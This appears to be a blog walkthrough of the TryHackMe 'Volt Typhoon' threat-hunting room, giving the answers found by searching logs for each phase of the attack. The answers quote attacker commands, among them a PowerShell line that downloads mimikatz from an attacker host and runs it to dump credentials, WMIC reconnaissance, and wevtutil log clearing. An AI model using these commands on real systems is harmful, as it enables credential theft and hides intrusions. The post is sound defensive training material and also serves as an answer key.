TryHackMe — Volt Typhoon (THM)
Task 2 Initial Access:
Comb through the ADSelfService Plus logs to begin retracing the attacker’s steps. At what time (ISO 8601 format) was Dean’s password changed and their account taken over by the attacker?
Since we are focusing on the accoutn of dean, let’s filter it. I also filtered for events that was completed.
On one of the completed events there is a “Password Change”.
Answer: 2024–03–24T11:10:22
Shortly after Dean’s account was compromised, the attacker created a new administrator account. What is the name of the new account that was created?
So now is to filter our for the username for the new account.
We can see the action_name “Enrollment”.
Answer: voltyp-admin
Task 3 Execution:
“Volt Typhoon is known to exploit Windows Management Instrumentation Command-line (WMIC) for a range of execution techniques. They leverage WMIC for tasks such as gathering information and dumping valuable databases, allowing them to infiltrate and exploit target networks. By using “living off the land” binaries (LOLBins), they blend in with legitimate system activity, making detection more challenging.”
Knowing that they exploit wmic, let’s filter for it.
In an information gathering attempt, what command does the attacker run to find information about local drives on server01 & server02?
We know that the attack occured during the 24 and the server names.
Answer: wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename
The attacker uses ntdsutil to create a copy of the AD database. After moving the file to a web server, the attacker compresses the database. What password does the attacker set on the archive?
So now we know the name of the file “cisco-up.7z”.
Answer: d5ag0nm@5t3r
Task 4 Persistence
“Our target APT frequently employs web shells as a persistence mechanism to maintain a foothold. They disguise these web shells as legitimate files, enabling remote control over the server and allowing them to execute commands undetected.”
Checking the known web shell files that volt typoon uses on Mitre.
Answer: C:\Windows\Temp\
Task 5 Defense Evasion
“Volt Typhoon utilizes advanced defense evasion techniques to significantly reduce the risk of detection. These methods encompass regular file purging, eliminating logs, and conducting thorough reconnaissance of their operational environment.”
In an attempt to begin covering their tracks, the attackers remove evidence of the compromise. They first start by wiping RDP records. What PowerShell cmdlet does the attacker use to remove the “Most Recently Used” record?
We can see that some commands were to remove “MRU”.
Answer: Remove-ItemProperty
The APT continues to cover their tracks by renaming and changing the extension of the previously created archive. What is the file name (with extension) created by the attackers?
Pretty much to just focus on the zip file for filtering.
Answer: cl64.gif
Under what regedit path does the attacker check for evidence of a virtualized environment?
Answer: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
Task 6 Credential Access
“Volt Typhoon often combs through target networks to uncover and extract credentials from a range of programs. Additionally, they are known to access hashed credentials directly from system memory.”
Using reg query, Volt Typhoon hunts for opportunities to find useful credentials. What three pieces of software do they investigate?
Answer Format: Alphabetical order separated by a comma and space.
I made a new field that extract the whole command line.
Answer: OpenSSH, putty, realvnc
What is the full decoded command the attacker uses to download and run mimikatz?
I just filtered for “hidden” and “bypass” which are usually used for hiding the execution of the command from the user.
Answer: Invoke-WebRequest -Uri “http://voltyp.com/3/tlz/mimikatz.exe" -OutFile “C:\Temp\db2\mimikatz.exe”; Start-Process -FilePath “C:\Temp\db2\mimikatz.exe” -ArgumentList @(“sekurlsa::minidump lsass.dmp”, “exit”) -NoNewWindow -Wait
Task 7 Discovery & Lateral Movement
“Discovery- Volt Typhoon uses enumeration techniques to gather additional information about network architecture, logging mechanisms, successful logins, and software configurations, enhancing their understanding of the target environment for strategic purposes.
Get Corlis’s stories in your inbox
Join Medium for free to get updates from this writer.
Lateral Movement- The APT has been observed moving previously created web shells to different servers as part of their lateral movement strategy. This technique facilitates their ability to traverse through networks and maintain access across multiple systems.”
The attacker uses wevtutil, a log retrieval tool, to enumerate Windows logs. What event IDs does the attacker search for?
Answer Format: Increasing order separated by a space.
Looks like they were looking for events for successful logins, failed logins, and kerberos events.
Answer: 4624 4625 4769
Moving laterally to server-02, the attacker copies over the original web shell. What is the name of the new web shell that was created?
We already know the name of the webshell earlier which was iisstart.aspx
Answer: AuditReport.jspx
Task 8 Collection
“During the collection phase, Volt Typhoon extracts various types of data, such as local web browser information and valuable assets discovered within the target environment.”
The attacker is able to locate some valuable financial information during the collection phase. What three files does Volt Typhoon make copies of using PowerShell?
Answer Format: Increasing order separated by a space.
From looking at logs earlier I remeber seeing a path with “Finance” on it.
Answer: 2022.csv 2023.csv 2024.csv
Task 9 C2 & Cleanup
C2 — Volt Typhoon utilizes publicly available tools as well as compromised devices to establish discreet command and control (C2) channels.
Cleanup — To cover their tracks, the APT has been observed deleting event logs and selectively removing other traces and artifacts of their malicious activities.
Answer: 10.2.30.1 8443
To conceal their activities, what are the four types of event logs the attacker clears on the compromised system?
Looking back in MITRE we can see that they use a tool called Wevtutil for clearing event logs.
Looks like the clear command is “cl”
Answer: Application Security Setup System
